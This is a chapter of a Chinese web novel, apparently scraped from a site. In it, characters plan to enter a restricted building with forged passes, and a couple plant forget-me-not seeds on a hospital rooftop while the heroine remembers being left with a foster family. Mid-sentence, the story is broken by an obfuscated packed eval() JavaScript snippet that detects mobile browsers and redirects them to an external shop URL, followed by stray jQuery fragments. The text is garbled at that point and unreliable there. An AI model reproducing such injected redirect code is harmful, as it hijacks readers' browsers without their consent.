110.天台星星

作品:《请在我的废墟里爱我

    相机里视频的事一直没有线索,只能暂时搁置在那里。


    几天后,初与序的伤已经好了大半,她盘腿坐在病床上,一遍又一遍地回放那段诡异的视频。屏幕的冷光映在她脸上,将她的面色照得苍白。


    “初与序,别看了。”随歌忍不住出声,“你都看十多遍了,就不怕晚上做噩梦吗?”


    初与序没有回答,只是皱着眉又一次按下重播键。就在这时,病房门突然被推开,D19和S23走进来。


    “哟,活过来了?”S23笑嘻嘻地把苹果递给离得最近的景明垂,“听说你们把屠宰场十八位玩家团灭了?干得漂亮啊!”


    随歌像是抓到救命稻草般凑过去:“两位来得正好!”他压低声音,“咱们团队赛的奖励品到底是什么意思啊?自从看了这个视频,我感觉初与序的状态就不太对…冬逢初也是!”


    S23随意地瞥了一眼初与序手中的相机,突然愣住:“你们拿齐无尽的相机干什么?我之前找齐无尽要,他都不给呢。”


    “齐无尽的?”初与序闻言抬起头。


    S23走来,接过相机仔细检查:“型号款式一模一样,不过齐无尽那台更新一点。”他翻开着相机底部的序列号,“你们这台看起来像是被长期使用过,齐无尽那台没有这么多划痕,估计拿到后就放着吃灰了。”


    冬逢初和初与序交换了一个眼神。


    “那他现在在哪?”冬逢初淡淡道。


    “办事区大厦十楼。”S23下意识回答,随即警觉起来,“等等,你们想干嘛?进办事区要三重审批!”


    随歌突然眨眨眼,做了个“屏蔽监听”的手势。D19叹了口气,从制服口袋里掏出一个小型干扰器按下,几人说的话暂时不会被系统监听到。


    “刚好。”随歌咧嘴一笑,从面板里抽出五张伪造的通行卡,“我前几天把上次偷的通行卡数据导出来了,制作了五张卡,所有系统大厦都能进去,包括系统总部。”


    S23目瞪口呆地看着他们:“你们疯了?擅闯办事区会被处罚区的执行官直接判死刑的!”


    “那我们总不能看着到手的鸭子跑了吧。”随歌耸耸肩,将五张通行卡分到五人手里。给江意时,D19忽然叫住,把通行卡重新放回随歌口袋里。


    “你们意哥还生着病呢,不能出院。”S23笑嘻嘻道,“如果你们带着他乱跑,医生会把你们四个揍成潮汕牛肉丸。”


    随歌挠了挠头:“嘶…你这句话怎么听得这么耳熟?”他转向江意,“不过意哥,你确实不能随便离开医院,到时候就别去了,交给我们四个吧!”


    “我们什么时候去?”景明垂问。


    “我建议你们后天去。”D19提议,“后天办事区的一部分执行官要开会,管理没有平时严,你们进去方便点。”


    初与序点点头,伸手拿过相机打算继续看视频。视线里忽然伸进来一只修长的手,拿走了相机。她抬头看去,和冬逢初对上视线。


    “阿序,别看了。”冬逢初的声音比平时温和,顺手拎起挂在椅背上的灰色大衣,轻轻披在她肩上,“陪我去天台看星星吧。”


    初与序张了张嘴,但冬逢初伸手拉起她的手腕,半推半拉地带出了病房。


    S23看着两人离去的背影一脸懵:“不是啊,这两人怎么在一起了?他们俩原来互相喜欢吗?”


    “你看不出来吗?”D19反问。


    S23:“……”


    初与序和冬逢初来到天台。夜风微凉,医院的顶层天台空旷寂静。永冬之城此刻笼罩在蓝调的夜幕下,几颗星星洒下微弱的光芒。


    初与序趴在栏杆上,任由寒风吹乱自己的长发。她不自觉想起善佑医院的那些夜晚,那时候她总是偷偷溜到天台上,看着不知谁种的勿忘我,数着为数不多能看见的星星,仿佛这样就能暂时逃离那个充满消毒水味的牢笼。


    “给。”


    冬逢初不知从哪变出一个小布袋,倒出几粒细小的种子。他蹲在天台角落的花坛边,在干涸的土壤中挖出几个小坑。


    初与序蹲到他身边,看着他把种子一粒粒埋进去:“这是勿忘我的种子?”


    “没错。”冬逢初的侧脸在星光下显得格外清晰,睫毛投下的阴影微微颤动。


    “为什么要埋勿忘我?”初与序问。


    “因为…”冬逢初想了想,“听说这种花,能让人记住不想忘记的事。”


    他说完,转头看向初与序,忽然怔出了。


    夜风恰好在这一刻掠过,掀起初与序的额前的刘海,完整地露出那双眼睛。她的皮肤在星光下显得近乎透明,带着不常见阳光的苍白,嘴角微微上扬着,却没有半分笑意。


    那是一种忧郁的美,像永冬之城终年不散的薄雾,朦胧而哀伤。


    冬逢初的呼吸不自觉地放缓了。他见过初与序在副本里杀伐果决的模样,见过她面对强敌时凌厉的眼神,却很少有机会这样安静地注视她。此刻的她像是褪去了所有防备,只剩下最原始像真实。


    “为什么看我?”初与序察觉到他的目光。


    冬逢初回过神,继续摆弄花坛里的土壤:“喜欢你。”


    他知道,这一刻初与序的模样,已经和那些勿忘我的种子一起,深深种在了他的记忆里。


    初与序没有回答,伸手帮他把土压实。冬逢初拧开水壶小心浇灌。水珠落在干燥的土壤上,发出细微的“滋滋”声,像是某种沉睡的东西被唤醒。


    “要是长不出来呢?”初与序看着那几处微隆的土堆。


    “那就再种。”冬逢初的回答很简单。


    “你觉得我们忘记过什么重要的事吗?”


    “不知道,但我想记住现在,记住你。”


    远处,永冬之城的灯火明明灭灭,像一场永不结束的梦境。初与序忽然希望这些勿忘我的种子能快点发芽,开花,开满整个冬天。


    “为什么你在表白那天要唱《time machine》?”她又问。


    冬逢初不好意思地笑了笑:“想给你唱你喜欢的歌,但又不敢问你,很苦恼。便挑了一首自己喜欢的,想着你应该也喜欢…”


    初与序靠在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16373715|177773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冬逢初肩头:“我确实喜欢。”


    她望着永冬之城的天空,忽然意识到,人类似乎永远活在连绵不绝的苦恼中。


    小时候的自己,苦恼那些永远做不完的习题,母亲逼她每天学习到深夜。少年时,苦恼变成了如果躲避落在身上的拳脚,淤青成为她最熟悉的颜色。青年时,她整夜整夜地计划着如何从善佑医院逃离。


    而现在,永冬之城给了她全新的苦恼,来源不明的城市、记载怪异的时光之书、莫名出现的阁楼、诡异的视频、那个与自己一模一样却被短刀刺入颈动脉的“初与序”。


    或许人类的本质就是苦恼,像永冬之城永不停止的冬季。


    “冬逢初,你会不会不要我?”初与序又突然问冬逢初,声音轻得几乎听不见。像是说给自己听的。


    “不会。”冬逢初的回答简短坚定,他握紧了她的手,“永远不会。”


    这个简单的回答让初与序的思绪飘回了八年前。


    那是个阴雨蒙蒙早晨,十岁的初与序站在陌生的寄养家庭门口,死死攥着初母的衣袖。她穿着洗得发白的长袖,背上的书包里只装了几件衣服。


    “听话。”初母蹲下身,抱了抱初与序,“爸爸的病和葬礼花了很多钱,也借了很多钱。妈妈去国外工作几年,还够钱了就回来接你。”


    初与序没有说话,她看着母亲眼下的青黑,那是连日照顾病重父亲留下的痕迹。父亲去世后,家里欠下的债像山一样压在这个女人肩上。


    “哎呀,孩子交给我们您就放心吧!我们可是有正规资质的!而且平时孩子一个人无聊,我们家儿子也可以陪她一起玩!”寄养家庭的女主人的指甲鲜红,掐在初与序的肩膀上,留下半月形印记。


    初母犹豫地看了眼手机上的转账记录。这是她能找到的最“实惠”的寄养家庭,保教育保吃住,价格只有正规机构的三分之一。她的目光扫过女儿沉默的脸,邻居的话又在耳边回响:


    “养女儿有什么用?早晚是别人家的。”


    “带着孩子怎么打工?不如放在国内,找个寄养家庭。你家小序听话,不会吵闹的。”


    “妈妈会给你寄很多钱。”初母最终掰开了女儿的手指,“很快…很快就会回来…”


    初与序站在原地,看着母亲的背影消失。她确实没有吵闹,也没有哭。


    后来,初与序住过很多地方,从寄养家庭的储物室,到善佑青少年医院的病房,再到现在的永冬之城D栋,没有一处是她真正的家,她也没等到母亲回来接走自己。


    自己好像被很多人忘记了。


    冬逢初伸手搂过她的肩膀,动作小心翼翼。


    初与序抬眼,永冬之城的星光落进她的眸子里。那些伤痕累累的往事,那些无人知晓的黑暗岁月,此刻在这个温暖的怀抱里,似乎变得不那么痛了。


    冬逢初的吻落在她发顶,轻得像一片雪花:“阿序,我不会放手。”


    两人安静地坐在花坛边,谁都没有再提那个视频,也没用提那些未知的过去。而天台上勿忘我的种子,正在泥土深处悄悄生根。